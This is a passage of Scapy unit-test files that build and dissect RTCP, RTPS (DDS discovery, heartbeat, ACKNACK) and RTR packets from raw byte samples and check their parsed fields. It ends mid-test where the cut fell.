== 212763 + RTCP Source Description tests = test source description report parse raw = b"\x81\xca\x00\x0c\xa2\xdf\x02\x72\x01\x1c\x75\x73\x65\x72\x31\x35" \ b"\x30\x33\x34\x38\x38\x39\x30\x31\x40\x68\x6f\x73\x74\x2d\x65\x37" \ b"\x32\x64\x62\x34\x33\x64\x06\x09\x47\x53\x74\x72\x65\x61\x6d\x65" \ b"\x72\x00\x00\x00" parsed = RTCP(raw) assert parsed.version == 2 assert parsed.padding == 0 assert parsed.count == 1 assert parsed.packet_type == 202 assert parsed.length == 12 assert parsed.sdes_chunks[0].sourcesync == 0xa2df0272 assert parsed.sdes_chunks[0].items[0].chunk_type == 1 assert parsed.sdes_chunks[0].items[0].length == 28 assert parsed.sdes_chunks[0].items[0].value == b'user1503488901@host-e72db43d' assert parsed.sdes_chunks[0].items[1].chunk_type == 6 assert parsed.sdes_chunks[0].items[1].length == 9 assert parsed.sdes_chunks[0].items[1].value == b'GStreamer' + RTCP parsing tests = test parse SR and SDES stacked raw = b"\x81\xc9\x00\x07\xa2\xdf\x02\x72\x49\x6e\x93\xbd\x00\xff\xff\xff" \ b"\x00\x00\x59\x47\x00\x00\x00\x00\xe4\x8f\xb9\x3a\x00\x03\x3f\x1b" \ b"\x81\xca\x00\x0c\xa2\xdf\x02\x72\x01\x1c\x75\x73\x65\x72\x31\x35" \ b"\x30\x33\x34\x38\x38\x39\x30\x31\x40\x68\x6f\x73\x74\x2d\x65\x37" \ b"\x32\x64\x62\x34\x33\x64\x06\x09\x47\x53\x74\x72\x65\x61\x6d\x65" \ b"\x72\x00\x00\x00" = format SR + 2xRR and parse back rtcp = RTCP() rtcp.packet_type = 200 rtcp.sourcesync = 0x01010101 rtcp.sender_info.rtp_timestamp = 0x03030303 rtcp.count = 2 rtcp.report_blocks.append(ReceptionReport(sourcesync=0x04040404)) rtcp.report_blocks.append(ReceptionReport(sourcesync=0x05050505)) b = bytes(rtcp) rtcp2 = RTCP(b) assert rtcp2.count == 2 assert rtcp2.length == 18 assert rtcp2.sourcesync == 0x01010101 assert rtcp2.sender_info.rtp_timestamp == 0x03030303 assert len(rtcp2.sender_info.payload) == 0 assert rtcp2.report_blocks[0].sourcesync == 0x04040404 assert len(rtcp2.report_blocks[0].payload) == 0 assert rtcp2.report_blocks[1].sourcesync == 0x05050505 ================================================ FILE: test/contrib/rtps.uts ================================================ % Real-Time Publish-Subscribe Protocol (RTPS) dissection % % Copyright (C) 2021 Trend Micro Incorporated % Copyright (C) 2021 Alias Robotics S.L. % % This program is free software; you can redistribute it and/or modify it under % the terms of the GNU General Public License as published by the Free Software % Foundation; either version 2 of the License, or (at your option) any later % version. % % This program is distributed in the hope that it will be useful, but WITHOUT ANY % WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A % PARTICULAR PURPOSE. See the GNU General Public License for more details. % % You should have received a copy of the GNU General Public License along with % this program; if not, write to the Free Software Foundation, Inc., 51 Franklin % Street, Fifth Floor, Boston, MA 02110-1301, USA. % RTPS layer test campaign + Syntax check = Import the RTPS layer from scapy.contrib.rtps import * pkt = b"\x52\x54\x50\x53\x02\x01\x01\x10\x57\x63\x10\x01\xd6\xab\x40\x7f" \ b"\x5b\xd9\xbb\x1c\x0e\x01\x0c\x00\x88\x2a\x10\x01\x5d\x8c\x97\x40" \ b"\x78\xb6\x2d\xc2\x09\x01\x08\x00\xf4\x50\x81\x60\x51\xdd\x5c\x1c" \ b"\x15\x05\x10\x01\x00\x00\x10\x00\x00\x01\x00\xc7\x00\x01\x00\xc2" \ b"\x00\x00\x00\x00\x01\x00\x00\x00\x00\x03\x00\x00\x15\x00\x04\x00" \ b"\x02\x01\x00\x00\x16\x00\x04\x00\x01\x10\x00\x00\x02\x00\x08\x00" \ b"\x0a\x00\x00\x00\x00\x00\x00\x00\x50\x00\x10\x00\x57\x63\x10\x01" \ b"\xd6\xab\x40\x7f\x5b\xd9\xbb\x1c\x00\x00\x01\xc1\x58\x00\x04\x00" \ b"\x3f\x0c\x00\x00\x0f\x00\x04\x00\x00\x00\x00\x00\x31\x00\x18\x00" \ b"\x01\x00\x00\x00\xbd\xeb\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \ b"\x00\x00\x00\x00\xac\x11\x00\x02\x48\x00\x18\x00\x01\x00\x00\x00" \ b"\xe9\x1c\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \ b"\xef\xff\x00\x01\x32\x00\x18\x00\x01\x00\x00\x00\xbd\xeb\x00\x00" \ b"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xac\x11\x00\x02" \ b"\x33\x00\x18\x00\x01\x00\x00\x00\xe8\x1c\x00\x00\x00\x00\x00\x00" \ b"\x00\x00\x00\x00\x00\x00\x00\x00\xef\xff\x00\x01\x07\x80\x38\x00" \ b"\x00\x00\x00\x00\x2c\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \ b"\x00\x00\x00\x00\x1d\x00\x00\x00\x74\x65\x73\x74\x2e\x6c\x6f\x63" \ b"\x61\x6c\x2f\x30\x2e\x38\x2e\x30\x2f\x4c\x69\x6e\x75\x78\x2f\x4c" \ b"\x69\x6e\x75\x78\x00\x00\x00\x00\x19\x80\x04\x00\x00\x80\x06\x00" \ b"\x01\x00\x00\x00" + Test endianness = PID_BUILTIN_ENDPOINT_QOS endianness assert raw(PID_BUILTIN_ENDPOINT_QOS(parameterId=119, parameterLength=0, parameterData=b"")) == b'w\x00\x00\x00' + Test RTPS = RTPS default header values pkt2 = RTPS()/RTPSMessage(submessages=[ RTPSSubMessage_HEARTBEAT(), RTPSSubMessage_INFO_TS(), RTPSSubMessage_DATA(), ]) assert bytes(RTPS()) == b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' = RTPS packet declaration pkt3 = RTPS( protocolVersion=ProtocolVersionPacket(major=2, minor=1), vendorId=VendorIdPacket(vendor_id=0x0110), guidPrefix=GUIDPrefixPacket( hostId=1466109953, appId=3601547391, instanceId=1540995868 ), magic=b"RTPS", ) / RTPSMessage( submessages=[ RTPSSubMessage_INFO_DST( submessageId=14, submessageFlags=1, octetsToNextHeader=12, guidPrefix=GUIDPrefixPacket( hostId=2284457985, appId=1569494848, instanceId=2025205186 ), ), RTPSSubMessage_INFO_TS( submessageId=9, submessageFlags=1, octetsToNextHeader=8, ts_seconds=1619087604, ts_fraction=475848017, ), RTPSSubMessage_DATA( submessageId=21, submessageFlags=5, octetsToNextHeader=272, extraFlags=0, octetsToInlineQoS=16, readerEntityIdKey=256, readerEntityIdKind=199, writerEntityIdKey=256, writerEntityIdKind=194, writerSeqNumHi=0, writerSeqNumLow=1, data=DataPacket( encapsulationKind=3, encapsulationOptions=0, parameterList=ParameterListPacket( parameterValues=[ PID_PROTOCOL_VERSION( parameterId=21, parameterLength=4, protocolVersion=ProtocolVersionPacket(major=2, minor=1), padding=b"\x00\x00", ), PID_VENDOR_ID( parameterId=22, parameterLength=4, vendorId=VendorIdPacket(vendor_id=0x0110), padding=b"\x00\x00", ), PID_PARTICIPANT_LEASE_DURATION( parameterId=2, parameterLength=8, parameterData=b"\n\x00\x00\x00\x00\x00\x00\x00", ), PID_PARTICIPANT_GUID( parameterId=80, parameterLength=16, guid=GUIDPacket( hostId=1466109953, appId=3601547391, instanceId=1540995868, entityId=449, ), ), PID_BUILTIN_ENDPOINT_SET( parameterId=88, parameterLength=4, parameterData=b"?\x0c\x00\x00", ), PID_DOMAIN_ID( parameterId=15, parameterLength=4, parameterData=b"\x00\x00\x00\x00", ), PID_DEFAULT_UNICAST_LOCATOR( parameterId=49, parameterLength=24, locator=LocatorPacket( locatorKind=1, port=60349, address="172.17.0.2" ), ), PID_DEFAULT_MULTICAST_LOCATOR( parameterId=72, parameterLength=24, locator=LocatorPacket( locatorKind=1, port=7401, address="239.255.0.1" ), ), PID_METATRAFFIC_UNICAST_LOCATOR( parameterId=50, parameterLength=24, locator=LocatorPacket( locatorKind=1, port=60349, address="172.17.0.2" ), ), PID_METATRAFFIC_MULTICAST_LOCATOR( parameterId=51, parameterLength=24, locator=LocatorPacket( locatorKind=1, port=7400, address="239.255.0.1" ), ), PID_UNKNOWN( parameterId=32775, parameterLength=56, parameterData=b"\x00\x00\x00\x00,\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x1d\x00\x00\x00test.local/0.8.0/Linux/Linux\x00\x00\x00\x00", ), PID_UNKNOWN( parameterId=32793, parameterLength=4, parameterData=b"\x00\x80\x06\x00", ), ], sentinel=PID_SENTINEL(parameterId=1, parameterLength=0), ), ), ), ] ) = RTPS header dissect assert pkt3.build() == pkt + Test RTI RTPS = Test dissection d = b"\x52\x54\x50\x53\x02\x03\x01\x01\x01\x01\x30\xba\xa8\x7b\x1d\xce" \ b"\xb3\x29\x1e\x43\x09\x01\x08\x00\xd6\x64\xa8\x61\x16\x09\x34\x7c" \ b"\x15\x05\xdc\x02\x00\x00\x10\x00\x00\x00\x00\x00\x00\x01\x00\xc2" \ b"\x00\x00\x00\x00\x01\x00\x00\x00\x00\x03\x00\x00\x50\x00\x10\x00" \ b"\x01\x01\x30\xba\xa8\x7b\x1d\xce\xb3\x29\x1e\x43\x00\x00\x01\xc1" \ b"\x58\x00\x04\x00\x3f\x0c\x00\x00\x77\x00\x04\x00\x01\x00\x00\x00" \ b"\x15\x00\x04\x00\x02\x03\x00\x00\x16\x00\x04\x00\x01\x01\x00\x00" \ b"\x00\x80\x04\x00\x06\x00\x01\x00\x59\x00\x78\x01\x06\x00\x00\x00" \ b"\x16\x00\x00\x00\x64\x64\x73\x2e\x73\x79\x73\x5f\x69\x6e\x66\x6f" \ b"\x2e\x68\x6f\x73\x74\x6e\x61\x6d\x65\x00\x00\x00\x0d\x00\x00\x00" \ b"\x64\x66\x30\x62\x36\x64\x38\x33\x61\x62\x34\x36\x00\x00\x00\x00" \ b"\x18\x00\x00\x00\x64\x64\x73\x2e\x73\x79\x73\x5f\x69\x6e\x66\x6f" \ b"\x2e\x70\x72\x6f\x63\x65\x73\x73\x5f\x69\x64\x00\x05\x00\x00\x00" \ b"\x34\x38\x33\x30\x00\x00\x00\x00\x21\x00\x00\x00\x64\x64\x73\x2e" \ b"\x73\x79\x73\x5f\x69\x6e\x66\x6f\x2e\x65\x78\x65\x63\x75\x74\x61" \ b"\x62\x6c\x65\x5f\x66\x69\x6c\x65\x70\x61\x74\x68\x00\x00\x00\x00" \ b"\x42\x00\x00\x00\x2f\x75\x73\x72\x2f\x6c\x6f\x63\x61\x6c\x2f\x73" \ b"\x72\x63\x2f\x72\x74\x69\x2f\x72\x65\x73\x6f\x75\x72\x63\x65\x2f" \ b"\x61\x70\x70\x2f\x62\x69\x6e\x2f\x78\x36\x34\x4c\x69\x6e\x75\x78" \ b"\x32\x2e\x36\x67\x63\x63\x34\x2e\x34\x2e\x35\x2f\x72\x74\x69\x64" \ b"\x64\x73\x73\x70\x79\x00\x00\x00\x14\x00\x00\x00\x64\x64\x73\x2e" \ b"\x73\x79\x73\x5f\x69\x6e\x66\x6f\x2e\x74\x61\x72\x67\x65\x74\x00" \ b"\x14\x00\x00\x00\x78\x36\x34\x4c\x69\x6e\x75\x78\x32\x2e\x36\x67" \ b"\x63\x63\x34\x2e\x34\x2e\x35\x00\x20\x00\x00\x00\x64\x64\x73\x2e" \ b"\x73\x79\x73\x5f\x69\x6e\x66\x6f\x2e\x63\x72\x65\x61\x74\x69\x6f" \ b"\x6e\x5f\x74\x69\x6d\x65\x73\x74\x61\x6d\x70\x00\x14\x00\x00\x00" \ b"\x32\x30\x32\x31\x2d\x30\x36\x2d\x37\x20\x30\x34\x3a\x30\x39\x3a" \ b"\x30\x32\x5a\x00\x21\x00\x00\x00\x64\x64\x73\x2e\x73\x79\x73\x5f" \ b"\x69\x6e\x66\x6f\x2e\x65\x78\x65\x63\x75\x74\x69\x6f\x6e\x5f\x74" \ b"\x69\x6d\x65\x73\x74\x61\x6d\x70\x00\x00\x00\x00\x14\x00\x00\x00" \ b"\x32\x30\x32\x31\x2d\x31\x32\x2d\x31\x20\x30\x39\x3a\x31\x35\x3a" \ b"\x32\x39\x5a\x00\x31\x00\x18\x00\x01\x00\x00\x00\xf3\x1c\x00\x00" \ b"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \ b"\x31\x00\x18\x00\x00\x00\x00\x01\xf3\x1c\x00\x00\x61\xab\xd9\x79" \ b"\xb5\x7c\x13\xa5\x29\x49\x2c\xa3\x00\x00\x00\x00\x32\x00\x18\x00" \ b"\x01\x00\x00\x00\xf2\x1c\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \ b"\x00\x00\x00\x00\x00\x00\x00\x00\x32\x00\x18\x00\x00\x00\x00\x01" \ b"\xf2\x1c\x00\x00\x61\xab\xd9\x79\xb5\x7c\x13\xa5\x29\x49\x2c\xa3" \ b"\x00\x00\x00\x00\x33\x00\x18\x00\x01\x00\x00\x00\xe8\x1c\x00\x00" \ b"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xef\xff\x00\x01" \ b"\x02\x00\x08\x00\x06\x00\x00\x00\xff\xff\xff\x7f\x01\x80\x04\x00" \ b"\xff\xff\x00\x00\x62\x00\x28\x00\x22\x00\x00\x00\x52\x54\x49\x20" \ b"\x44\x61\x74\x61\x20\x44\x69\x73\x74\x72\x69\x62\x75\x74\x69\x6f" \ b"\x6e\x20\x53\x65\x72\x76\x69\x63\x65\x20\x53\x70\x79\x00\x00\x00" \ b"\x0f\x00\x04\x00\x00\x00\x00\x00\x0f\x80\x04\x00\x00\x00\x00\x00" \ b"\x10\x80\x14\x00\x02\x00\x00\x00\x01\x00\x00\x00\xe3\xff\x00\x00" \ b"\x00\x00\x00\x01\x00\x00\x01\x00\x16\x80\x08\x00\x10\x00\x00\x00" \ b"\x00\x00\x00\x00\x17\x80\x04\x00\x03\x00\x00\x00\x01\x00\x00\x00" p0 = RTPS(d) p1 = RTPS( protocolVersion=ProtocolVersionPacket(major=2, minor=3), vendorId=VendorIdPacket(vendor_id=0x0101), guidPrefix=GUIDPrefixPacket( hostId=16855226, appId=2826640846, instanceId=3005816387 ), magic=b"RTPS", ) / RTPSMessage( submessages=[ RTPSSubMessage_INFO_TS( submessageId=9, submessageFlags=1, octetsToNextHeader=8, ts_seconds=1638425814, ts_fraction=2083784982, ), RTPSSubMessage_DATA( submessageId=21, submessageFlags=5, octetsToNextHeader=732, extraFlags=0, octetsToInlineQoS=16, readerEntityIdKey=0, readerEntityIdKind=0, writerEntityIdKey=256, writerEntityIdKind=194, writerSeqNumHi=0, writerSeqNumLow=1, data=DataPacket( encapsulationKind=3, encapsulationOptions=0, parameterList=ParameterListPacket( parameterValues=[ PID_PARTICIPANT_GUID( parameterId=80, parameterLength=16, guid=GUIDPacket( hostId=16855226, appId=2826640846, instanceId=3005816387, entityId=449, ), ), PID_BUILTIN_ENDPOINT_SET( parameterId=88, parameterLength=4, parameterData=b"?\x0c\x00\x00", ), PID_BUILTIN_ENDPOINT_QOS( parameterId=119, parameterLength=4, parameterData=b"\x01\x00\x00\x00", ), PID_PROTOCOL_VERSION( parameterId=21, parameterLength=4, protocolVersion=ProtocolVersionPacket(major=2, minor=3), padding=b"\x00\x00", ), PID_VENDOR_ID( parameterId=22, parameterLength=4, vendorId=VendorIdPacket(vendor_id=0x0101), padding=b"\x00\x00", ), PID_PRODUCT_VERSION( parameterId=32768, parameterLength=4, productVersion=ProductVersionPacket( major=6, minor=0, release=1, revision=0 ), ), PID_PROPERTY_LIST( parameterId=89, parameterLength=376, parameterData=b"\x06\x00\x00\x00\x16\x00\x00\x00dds.sys_info.hostname\x00\x00\x00\r\x00\x00\x00df0b6d83ab46\x00\x00\x00\x00\x18\x00\x00\x00dds.sys_info.process_id\x00\x05\x00\x00\x004830\x00\x00\x00\x00!\x00\x00\x00dds.sys_info.executable_filepath\x00\x00\x00\x00B\x00\x00\x00/usr/local/src/rti/resource/app/bin/x64Linux2.6gcc4.4.5/rtiddsspy\x00\x00\x00\x14\x00\x00\x00dds.sys_info.target\x00\x14\x00\x00\x00x64Linux2.6gcc4.4.5\x00 \x00\x00\x00dds.sys_info.creation_timestamp\x00\x14\x00\x00\x002021-06-7 04:09:02Z\x00!\x00\x00\x00dds.sys_info.execution_timestamp\x00\x00\x00\x00\x14\x00\x00\x002021-12-1 09:15:29Z\x00", ), PID_DEFAULT_UNICAST_LOCATOR( parameterId=49, parameterLength=24, locator=LocatorPacket( locatorKind=1, port=7411, address="0.0.0.0" ), ), PID_DEFAULT_UNICAST_LOCATOR( parameterId=49, parameterLength=24, locator=LocatorPacket( locatorKind=16777216, port=7411, hostId=b"a\xab\xd9y\xb5|\x13\xa5)I,\xa3\x00\x00\x00\x00", ), ), PID_METATRAFFIC_UNICAST_LOCATOR( parameterId=50, parameterLength=24, locator=LocatorPacket( locatorKind=1, port=7410, address="0.0.0.0" ), ), PID_METATRAFFIC_UNICAST_LOCATOR( parameterId=50, parameterLength=24, locator=LocatorPacket( locatorKind=16777216, port=7410, hostId=b"a\xab\xd9y\xb5|\x13\xa5)I,\xa3\x00\x00\x00\x00", ), ), PID_METATRAFFIC_MULTICAST_LOCATOR( parameterId=51, parameterLength=24, locator=LocatorPacket( locatorKind=1, port=7400, address="239.255.0.1" ), ), PID_PARTICIPANT_LEASE_DURATION( parameterId=2, parameterLength=8, parameterData=b"\x06\x00\x00\x00\xff\xff\xff\x7f", ), PID_PLUGIN_PROMISCUITY_KIND( parameterId=32769, parameterLength=4, promiscuityKind=65535 ), PID_ENTITY_NAME( parameterId=98, parameterLength=40, parameterData=b'"\x00\x00\x00RTI Data Distribution Service Spy\x00\x00\x00', ), PID_DOMAIN_ID( parameterId=15, parameterLength=4, parameterData=b"\x00\x00\x00\x00", ), PID_RTI_DOMAIN_ID( parameterId=32783, parameterLength=4, domainId=0 ), PID_TRANSPORT_INFO_LIST( transportInfo=[ TransportInfoPacket(classID=1, messageSizeMax=65507), TransportInfoPacket( classID=16777216, messageSizeMax=65536 ), ], parameterId=32784, parameterLength=20, padding=b"\x02\x00\x00\x00", ), PID_REACHABILITY_LEASE_DURATION( parameterId=32790, parameterLength=8, lease_duration=LeaseDurationPacket( seconds=268435456, fraction=0 ), ), PID_VENDOR_BUILTIN_ENDPOINT_SET( parameterId=32791, parameterLength=4, flags=3 ), ], sentinel=PID_SENTINEL(parameterId=1, parameterLength=0), ), ), ), ] ) assert p0.build() == d assert p1.build() == d + Test for pr #3914 = RTPS Heartbeat SequenceNumber_t packing and dissection d = b"\x52\x54\x50\x53\x02\x02\x01\x0f\x01\x0f\x45\xd2\xb3\xf5\x58\xb9" \ b"\x01\x00\x00\x00\x07\x01\x1c\x00\x00\x00\x03\xc7\x00\x00\x03\xc2" \ b"\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00" \ b"\x01\x00\x00\x00" p0 = RTPS(d) p1 = RTPS( protocolVersion=ProtocolVersionPacket(major=2, minor=2), vendorId=VendorIdPacket(vendor_id=0x010f), guidPrefix=GUIDPrefixPacket( hostId=0x010f45d2, appId=0xb3f558b9, instanceId=0x01000000 ), magic=b"RTPS", ) / RTPSMessage( submessages=[ RTPSSubMessage_HEARTBEAT( submessageId=0x07, submessageFlags=0x01, octetsToNextHeader=28, reader_id=b"\x00\x00\x03\xc7", writer_id=b"\x00\x00\x03\xc2", firstAvailableSeqNumHi=0, firstAvailableSeqNumLow=1, lastSeqNumHi=0, lastSeqNumLow=1, count=1 ) ] ) assert p0.build() == d assert p1.build() == d assert p0 == p1 + Test for pr #3915 = RTPS ACKNACK count packing and dissection d = b"\x52\x54\x50\x53\x02\x02\x01\x0f\x01\x0f\x45\xd2\xb3\xf5\x58\xb9" \ b"\x01\x00\x00\x00\x06\x03\x18\x00\x00\x00\x03\xc7\x00\x00\x03\xc2" \ b"\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00" p0 = RTPS(d) p1 = RTPS( protocolVersion=ProtocolVersionPacket(major=2, minor=2), vendorId=VendorIdPacket(vendor_id=0x010f), guidPrefix=GUIDPrefixPacket( hostId=0x010f45d2, appId=0xb3f558b9, instanceId=0x01000000 ), magic=b"RTPS", ) / RTPSMessage( submessages=[ RTPSSubMessage_ACKNACK( submessageId=6, submessageFlags=3, octetsToNextHeader=0x18, reader_id=b'\x00\x00\x03\xc7', writer_id=b'\x00\x00\x03\xc2', readerSNState=b'\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00', count=1 ) ] ) assert p0.build() == d assert p1.build() == d assert p0 == p1 + Test for #PR4545 = RTPS length computation with inlineQos p0 = RTPS( protocolVersion=ProtocolVersionPacket(major=2, minor=2), vendorId=VendorIdPacket(vendor_id=0x010f), guidPrefix=GUIDPrefixPacket( hostId=0x010f45d2, appId=0xb3f558b9, instanceId=0x01000000 ),magic=b"RTPS" )/RTPSMessage(submessages=[ RTPSSubMessage_INFO_TS( submessageId=9, submessageFlags=1, octetsToNextHeader=8, ts_seconds=1638425814, ts_fraction=2083784982, ), RTPSSubMessage_DATA( submessageId= 0x15, submessageFlags= 0x7, octetsToNextHeader= 54, extraFlags= 0x0, octetsToInlineQoS= 16, readerEntityIdKey= 0x0, readerEntityIdKind= 0x0, writerEntityIdKey= 0x0, writerEntityIdKind= 0x0, writerSeqNumHi= 0, writerSeqNumLow= 4, inlineQoS= InlineQoSPacket( parameters= [ PID_UNKNOWN( parameterId= 0x801e, parameterLength= 4, parameterData= b'\x00\x00\x00\x00', ), ], sentinel= PID_SENTINEL( parameterId= 0x1, parameterLength= 0, parameterData= b'', ), ), data= DataPacket( encapsulationKind= 0x1, encapsulationOptions= 0x3, serializedData= b'=\x00\x00\x00abcdefghij\x00\x00\x00\x00', ), ), RTPSSubMessage_INFO_TS( submessageId=9, submessageFlags=1, octetsToNextHeader=8, ts_seconds=1638425814, ts_fraction=2083784982, ), RTPSSubMessage_DATA( submessageId= 0x15, submessageFlags= 0x7, octetsToNextHeader= 54, extraFlags= 0x0, octetsToInlineQoS= 16, readerEntityIdKey= 0x0, readerEntityIdKind= 0x0, writerEntityIdKey= 0x0, writerEntityIdKind= 0x0, writerSeqNumHi= 0, writerSeqNumLow= 4, inlineQoS= InlineQoSPacket( parameters= [ PID_UNKNOWN( parameterId= 0x801e, parameterLength= 4, parameterData= b'\x00\x00\x00\x00', ), ], sentinel= PID_SENTINEL( parameterId= 0x1, parameterLength= 0, parameterData= b'', ), ), data= DataPacket( encapsulationKind= 0x1, encapsulationOptions= 0x3, serializedData= b'=\x00\x00\x00abcdefghij\x00\x00\x00\x00', ), ), ]) d = b"\x52\x54\x50\x53\x02\x02\x01\x0f\x01\x0f\x45\xd2\xb3\xf5\x58\xb9" \ b"\x01\x00\x00\x00\x09\x01\x08\x00\xd6\x64\xa8\x61\x16\x09\x34\x7c" \ b"\x15\x07\x36\x00\x00\x00\x10\x00\x00\x00\x00\x00\x00\x00\x00\x00" \ b"\x00\x00\x00\x00\x04\x00\x00\x00\x1e\x80\x04\x00\x00\x00\x00\x00" \ b"\x01\x00\x00\x00\x00\x01\x00\x03\x3d\x00\x00\x00\x61\x62\x63\x64" \ b"\x65\x66\x67\x68\x69\x6a\x00\x00\x00\x00\x09\x01\x08\x00\xd6\x64" \ b"\xa8\x61\x16\x09\x34\x7c\x15\x07\x36\x00\x00\x00\x10\x00\x00\x00" \ b"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x04\x00\x00\x00\x1e\x80" \ b"\x04\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x01\x00\x03\x3d\x00" \ b"\x00\x00\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x00\x00\x00\x00" assert RTPS(d) == p0 ================================================ FILE: test/contrib/rtr.uts ================================================ + RTR Serial Notify = default instantiation pkt = IP()/TCP(dport=323)/RTRSerialNotify() raw(pkt) == b'E\x00\x004\x00\x01\x00\x00@\x06|\xc1\x7f\x00\x00\x01\x7f\x00\x00\x01\x00\x14\x01C\x00\x00\x00\x00\x00\x00\x00\x00P\x02 \x00\x90q\x00\x00\x00\x00\x00\x00\x00\x00\x00\x0c\x00\x00\x00\x00' = default values build pkt = IP()/TCP(dport=323)/RTRSerialNotify() RTRSerialNotify in pkt and pkt.rtr_version == 0 and pkt.pdu_type == 0 and pkt.session_id == 0 and pkt.length == 12 and pkt.serial_number == 0 = filled values build pkt = IP()/TCP(dport=323)/RTRSerialNotify(session_id=12345, length=12, serial_number=789) raw(pkt) == b'E\x00\x004\x00\x01\x00\x00@\x06|\xc1\x7f\x00\x00\x01\x7f\x00\x00\x01\x00\x14\x01C\x00\x00\x00\x00\x00\x00\x00\x00P\x02 \x00]#\x00\x00\x00\x0009\x00\x00\x00\x0c\x00\x00\x03\x15' = dissection pkt = Ether(b'\x00\x16>\xa9\x04\x1a\x84x\xac[\x82\xc2\x08\x00E\x00\x16\xd4\xb9\xa5@\x005\x06\x93\xd5\x8d\x16\x1c\xdc\xb9\x1a~\x9c Z\xcb\xa2\nF2`J\xe2\x8c\xc0\x80\x10\x00\xe3\xf8o\x00\x00\x01\x01\x08\n\xeaX\x9f\x82\x81\xfb\xc4\n\x00\x00\x00\x00\x00\x00\xcc!\x00\x04\x00\x00') pkt.session_id == 0 and pkt.length == 52257 and pkt.serial_number == 262144 + RTR Serial Query = default instantiation pkt = IP()/TCP(dport=323)/RTRSerialQuery() raw(pkt) == b'E\x00\x004\x00\x01\x00\x00@\x06|\xc1\x7f\x00\x00\x01\x7f\x00\x00\x01\x00\x14\x01C\x00\x00\x00\x00\x00\x00\x00\x00P\x02 \x00\x90p\x00\x00\x00\x01\x00\x00\x00\x00\x00\x0c\x00\x00\x00\x00' = default values build pkt = IP()/TCP(dport=323)/RTRSerialQuery() RTRSerialQuery in pkt and pkt.rtr_version == 0 and pkt.pdu_type == 1 and pkt.session_id == 0 and pkt.length == 12 and pkt.serial_number == 0 = filled values build pkt = IP()/TCP(dport=323)/RTRSerialQuery(session_id=17, length=12, serial_number=55463) raw(pkt) == b'E\x00\x004\x00\x01\x00\x00@\x06|\xc1\x7f\x00\x00\x01\x7f\x00\x00\x01\x00\x14\x01C\x00\x00\x00\x00\x00\x00\x00\x00P\x02 \x00\xb7\xb7\x00\x00\x00\x01\x00\x11\x00\x00\x00\x0c\x00\x00\xd8\xa7' = dissection pkt = Ether(b'\x00\x07\xb4\x00+\x02\x00\x16>\xa9\x04\x1a\x08\x00E\x00\x00@I2@\x00@\x06\x0f\xdd\xb9\x1a~\x9c\x8d\x16\x1c\xdc\xcb\xa2 ZJ\xe2\x8c\xc0\nR\xdbD\x80\x18\x05#\xe1\xdb\x00\x00\x01\x01\x08\n\x81\xfb\xcf\xca\xeaX\xcd\x92\x00\x01\x13/\x00\x00\x00\x0c\x00\x00\x81\x7f') pkt.session_id == 4911 and pkt.length == 12 and pkt.serial_number == 33151 + RTR Reset Query = default instantiation pkt = IP()/TCP(dport=323)/RTRResetQuery() raw(pkt) == b'E\x00\x000\x00\x01\x00\x00@\x06|\xc5\x7f\x00\x00\x01\x7f\x00\x00\x01\x00\x14\x01C\x00\x00\x00\x00\x00\x00\x00\x00P\x02 \x00\x90w\x00\x00\x00\x02\x00\x00\x00\x00\x00\x08' = default values build pkt = IP()/TCP(dport=323)/RTRResetQuery() RTRResetQuery in pkt and pkt.reserved == 0 and pkt.length == 8 #= filled values build - nonsense test = dissection pkt = Ether(b"\x00\x07\xb4\x00+\x02\x00\x16>\xa9\x04\x1a\x08\x00E\x00\x00\xa9\x04\x1a\x84x\xac[\x82\xc2\x08\x00E\x00\x0b\x84\xb9\xa3@\x005\x06\x9f'\x8d\x16\x1c\xdc\xb9\x1a~\x9c Z\xcb\xa2\nF'\x10J\xe2\x8c\xc0\x80\x10\x00\xe3\xed\x1f\x00\x00\x01\x01\x08\n\xeaX\x9f\x82\x81\xfb\xc4\n\x00\x03\x13/\x00\x00\x00\x08") pkt.session_id == 4911 and pkt.length == 8 + RTR IPv4 Prefix = default instantiation pkt = IP()/TCP(dport=323)/RTRCacheResponse()/RTRIPv4Prefix() raw(pkt) == b'E\x00\x00D\x00\x01\x00\x00@\x06|\xb1\x7f\x00\x00\x01\x7f\x00\x00\x01\x00\x14\x01C\x00\x00\x00\x00\x00\x00\x00\x00P\x02 \x00\x90J\x00\x00\x00\x03\x00\x00\x00\x00\x00\x08\x00\x04\x00\x00\x00\x00\x00\x14\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' = default values build pkt = IP()/TCP(dport=323)/RTRCacheResponse()/RTRIPv4Prefix() RTRIPv4Prefix in pkt and pkt.shortest_length == 0 and pkt.longest_length == 0 and pkt.prefix == "0.0.0.0" and pkt.asn == 0 = filled values build pkt = IP()/TCP(dport=323)/RTRCacheResponse()/RTRIPv4Prefix(prefix="192.0.2.0", asn=45000, shortest_length=20, longest_length=20) raw(pkt) == b'E\x00\x00D\x00\x01\x00\x00@\x06|\xb1\x7f\x00\x00\x01\x7f\x00\x00\x01\x00\x14\x01C\x00\x00\x00\x00\x00\x00\x00\x00P\x02 \x00\nm\x00\x00\x00\x03\x00\x00\x00\x00\x00\x08\x00\x04\x00\x00\x00\x00\x00\x14\x00\x14\x14\x00\xc0\x00\x02\x00\x00\x00\xaf\xc8' = dissection pkt = Ether(b"\x00\x16>\xa9\x04\x1a\x84x\xac[\x82\xc2\x08\x00E\x00\x0b\x84\xb9\xa3@\x005\x06\x9f'\x8d\x16\x1c\xdc\xb9\x1a~\x9c 